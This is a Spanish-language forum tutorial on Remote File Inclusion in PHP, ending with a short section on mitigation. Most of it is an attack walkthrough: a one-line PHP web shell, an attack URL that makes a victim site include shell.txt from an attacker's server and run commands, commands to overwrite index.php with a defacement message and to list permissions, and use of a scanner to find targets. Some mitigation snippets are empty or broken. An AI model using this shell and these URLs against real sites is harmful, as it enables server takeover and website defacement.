1- Que es RFI? Para ver este enlace Registrate o Inicia Sesionbusqueda en google aqui
2- Que paginas tienen este bug? ulnerabilidad existente solamente en paginas dinamicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la pagina que contiene la funcion include().3- Que es shell? Lo que hace la shell es un interprete de comandos, ya que existen dos shell, una que son shell de sistemas Operativos, esta shell esta en codigo php y nos permite ejecutar comandos en el serer victima, y como php en un lenguaje a nivel servidor los comandos se ejecutan en el. tienen que suver su shell a un servidor .. este pasara hacer servidor atacantePorque se le llama shell a tu código?
<? system($cmd); ?>
Porque lo que hace es ejecutar comandos directamente al interprete de coamndos del servidor...
Obtener una shell desde un sitio web es lo mismo a tomarlo en forma de consola, solo que estas usando el sitio web como puentre entre la consola y tu, también puede variar el permiso pero eso es otra cosa.
¿Porque se le llama shell al r57 y al c99?
Porque ambos te permiten ejecutar comandos al interprete del servidor al igual que una shell de consola, es mas.. es una shell de consola.. solo basta con ejecutar "help" para ver como se despliega la ayuda de la terminal o si es windows se verá la ayuda del cmd.exe.
La función system() equivale a la ejecución dentro de una consola... por ejemplo..
<? system("dir"); ?>
Es igual a:
C:\> dir
o
root@yo:~$ dir
Es exactamente lo mismo.
system() también puede ser exec().
¿Como funciona un deface?
Lo que hace la mayoría de los defaces que contienen LFI o funcionan bajo alguna vulnerabilidad de ejecución de comandos funciona de la siguiente manera:
<? system("echo hacked by yo > index.php"); ?>
Que es lo que hace??.. ejecuta el comando echo para sobreescribir el index al igual que un interprete de comandos cualquiera ya que la función system() llama directamente al interprete.
La pagina puede ser vulnerable a ataques RFI si la url es mas o menos similar a esta que tenemos aqui:
http://[servidor_victima]/index.php?.
Para obtener la shell de la web solo necesitamos este código:
http://[web o url de la web]/index.php?page=http://[web o servidor del atacante]/shell.txt&&cmd=ls.
Esa seria una web vulnerable.
Ejemplo:http//ww.rush.com/index.php?
Para poder hacer un ataque RFI tendremos que hacer esto:
Para ver este enlace Registrate o Inicia Sesion)
Para saber si es vulnerable en el bloc de notas pegas esto
<?
system($cmd)
?>
Ahora lo guardamos con el nombre de shell.txt y lo subimos a un servidor, de preferencia que no sea php para que no se ejecute en tu servidor.
Ahora procedemos a usar esto:
Para ver este enlace Registrate o Inicia Sesion va el comando.)
y listo así explotaran el comando.
Un ejemplo de una shell explotada:
Para ver este enlace Registrate o Inicia Sesionpwd?> nos muestra en que parte del servidor estamos por ejemplo:
Home/host/www
Una Shell para sobreescribir un archivo es:
/shell.txt?&cmd=Defaced By: rUsH >index.php.
Para ejecutar mas de un comando solo usen esto ?;?
/shell.txt?&cmd=[coamando];[Comando];[Comando]
Solo prodran sobreescribir si tiene permiso, para saber en que tienes permiso para modificar usa este comando
/shell.txt?&cmd=ls -la ?> y te mostrara los permisos con sus respectivos archivos
Para saber los datos de la DB usa este comando:
/shell.txt?&cmd=cd
EJEMPLO PARA ACUNETIX
buscan una web victima en este caso
Para ver este enlace Registrate o Inicia Sesionabri el scan web acunetix
bueno acá me salio este bug .. era un pagina php ejje y lo que hice fue esto
y bueno lo pege en el navegador y...
Detener el ataquePara detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:
<?
if ($url=="seccion")
include ($url.".php");
?>
ó
<?
include ("./".$url.".php");
?>
ó
<?
switch($url) {
case 0:include ("./contenidos/estapagina.php"); break;
case 1:include ("./contenidos/estaotra.php"); break;
default: include("./contenidos/error.php"); break;
}
?>
ó
<?
$url = intval($_GET['url']); //$url solo contendrá un valor entero.
$pagina = "./contenidos/cont".$url.".php";
if (file_exists($pagina))
include($pagina);
?>
Prevenir el AtaquePara prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:
<?
?>
De esta forma no podría utilizar la variable page para RFI.
Otra SoluciónOtra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.
<?
die('Error. intento de RFI..');
else
include ($url);
?>
Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.
Ema87hack